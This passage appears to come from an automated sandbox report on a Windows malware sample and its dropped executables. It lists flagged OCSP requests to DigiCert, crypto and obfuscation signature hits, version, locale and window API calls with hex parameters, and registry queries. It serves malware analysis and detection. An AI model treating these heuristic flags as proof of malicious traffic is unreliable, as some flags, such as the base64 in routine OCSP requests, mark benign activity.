/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BWU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"2d:T45d,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: PCAP contains base64 strings Matched sigs: Decrypted SSL network traffic Matched sigs: Contains ability to decode base64 data Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]2e:T13b6,"file.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002448) "Vo8ml85.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002464) "aM0RY76.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003844) "kx3Tv79.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003636) "FM0nA02.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003964) "1BC12Pi1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001536) "1BC12Pi1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002e000000000080012e00000000006a0000000000000050012e007e000000d8293400000000007e0000001800010114000000d327096d40f3120095e15c77097a0700000000000200000248953300ee0000eed8293400010000000000000080000000d0293400c23200f020fb33000100000000000000020000000c000000f0ca3300f0ca3300ebca330000000000ecf2120000002e00d829340130f21200f8f2120050f8120095e15c77297a0700feffffff435c60775059607794000000a0000000eaca3300e8ca330094000000d4f31200fdfec775e40a00007cf3120080f31200 (UID: 00000000-00001536) "1BC12Pi1.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001536)2f:T24ca,"1BC12Pi1.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100001ccb330000000000000074002e004e00450054005c004600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e00660069006700000033003200 (UID: 00000000-00001536) "2Aq2815.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000488) "2Aq2815.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000488) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100342c2c4973576f77363450726f636573732c6b65726e656c33322e646c6c2c223235323a30333a32392e383735222c52583d302c50583d30003000310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e00660069006700000041005000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000ace719008a873775f87123005ce81900980a3a00980a3a00000000002c303775b2f46077d805617744e819000000ef650000ef65ace71900d4e71900f0000000f000ef6500000000b0e719000000000044e91900000000000100000014e8190040f56077000000000000000000e81900 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100cea8f3ee07b29c04763437736100000000010000000000000001000000ccf3ee070000000028120a0208f4ee07c0df2d00d8f3ee078f9c04763437736102000000000000001800000001000000dcf3ee0728239c6800001f00000000000c00000020422002e8f3ee072f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076e00fef0688c6ed0600000000e00fef06100000000000000020e8190050dc5776e00fef0610000000e49aef06540af307100000004ce81900a6ec236f02000000000000001800000028c7236f50e8190028239c6800001f00000000000c00000028c7236f5ce819002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000048e919006a6fb06800000000bc6fb068f937adc9c4e419000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a5736108e9190028239c6800001f00000000000c00000030a5736114e919002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310008a3860d6d4898ec0600000000b0ee2d0898230d6d4898ec06f8ee2d08e7220c6d4898ec0620000000000000003c370c6d28120a022042360228120a020200000000000000180000000098ec06fcee2d0828239c6800001f00000000000c0000002042360208ef2d082f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076e00fef0688c6ed0600000000e00fef0610000000000000000ce7190050dc5776e00fef0610000000e49aef069436f5071000000038e71900a6ec236f02000000000000001800000028c7236f3ce7190028239c6800001f00000000000c00000028c7236f48e719002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000034e819006a6fb06800000000bc6fb068ed38adc9b0e319000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a57361f4e7190028239c6800001f00000000000c00000030a5736100e819002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a3860d6da09aec0600000000e0ed980798230d6da09aec0628ee9807e7220c6da09aec0620000000000000003c370c6d28120a0220a2360228120a02020000000000000018000000009aec062cee980728239c6800001f00000000000c00000020a2360238ee98072f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a3860d6d489dec060000000010f2e80798230d6d489dec0658f2e807e7220c6d489dec0620000000000000003c370c6d28120a0220c2360228120a02020000000000000018000000009dec065cf2e80728239c6800001f00000000000c00000020c2360268f2e8072f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076509aec0688c6ed0600000000509aec062000000000000000cce6190050dc5776509aec0610000000dcbaee0684c1f50710000000f8e61900a6ec236f02000000000000001800000028c7236ffce6190028239c6800001f00000000000c00000028c7236f08e719002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000000e819006a6fb06800000000bc6fb068a138adc97ce319000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a57361c0e7190028239c6800001f00000000000c00000030a57361cce719002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076789aec0688c6ed0600000000789aec062000000000000000c8e6190050dc5776789aec0610000000dcbaee0634c2f50710000000f4e61900a6ec236f02000000000000001800000028c7236ff8e6190028239c6800001f00000000000c00000028c7236f04e719002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000fce719006a6fb06800000000bc6fb068a538adc978e319000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a57361bce7190028239c6800001f00000000000c00000030a57361c8e719002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a3860d6db89bec060000000060f4f10798230d6db89bec06a8f4f107e7220c6db89bec0620000000000000003c370c6d28120a022082370228120a02020000000000000018000000009bec06acf4f10728239c6800001f00000000000c00000020823702b8f4f1072f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000004e819006a6fb06800000000bc6fb068bd38adc980e319000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a57361c4e7190028239c6800001f00000000000c00000030a57361d0e719002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076509aec0688c6ed0600000000509aec062000000000000000b8e6190050dc5776509aec0610000000dcbaee067422f60710000000e4e61900a6ec236f02000000000000001800000028c7236fe8e6190028239c6800001f00000000000c00000028c7236ff4e619002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310008a3860d6da8e0f10600000000f0ef2c0898230d6da8e0f10638f02c08e7220c6da8e0f10620000000000000003c370c6d28120a0220223a0228120a0202000000000000001800000000e0f1063cf02c0828239c6800001f00000000000c00000020223a0248f02c082f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076e00fef0688c6ed0600000000e00fef061000000000000000a0e3190050dc5776e00fef0610000000dcbaee06a4fff60710000000cce31900a6ec236f02000000000000001800000028c7236fd0e3190028239c6800001f00000000000c00000028c7236fdce319002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000ece419006a6fb06800000000bc6fb068553badc968e019000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a57361ace4190028239c6800001f00000000000c00000030a57361b8e419002f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006d20e1f1060000000068f3f10798230d6d20e1f106b4f3f107e7220c6d20e1f10620000000000000003c370c6d28120a0220623b0228120a0220623b02020000000000000018000000dcf522ffb8f3f10728239c6800001f00000000000c00000020623b02c4f3f1072f9973610c000000 (UID: 00000000-00001792) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000f4e719006a6fb06800000000bc6fb068ad38adc970e319000000000030ee190015dee1758d1a57bcfeffffff7f67e975e2d813762824db6e02000000000000001800000030a57361b4e7190028239c6800001f00000000000c00000030a57361c0e719002f9973610c000000 (UID: 00000000-00001792)30:T404,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "1BC12Pi1.exe.3913938919") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp")31:T7a7,"file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Vo8ml85.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Vo8ml85.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "aM0RY76.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "aM0RY76.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "kx3Tv79.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "kx3Tv79.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "FM0nA02.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "FM0nA02.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1BC12Pi1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Aq2815.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Hh02Er.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Hh02Er.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4nL947Ei.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4nL947Ei.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")32:T4d2,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "file") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "file") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")33:T5a6,Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp")34:T4d0,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")35:Te78,"2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2Aq2815.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: 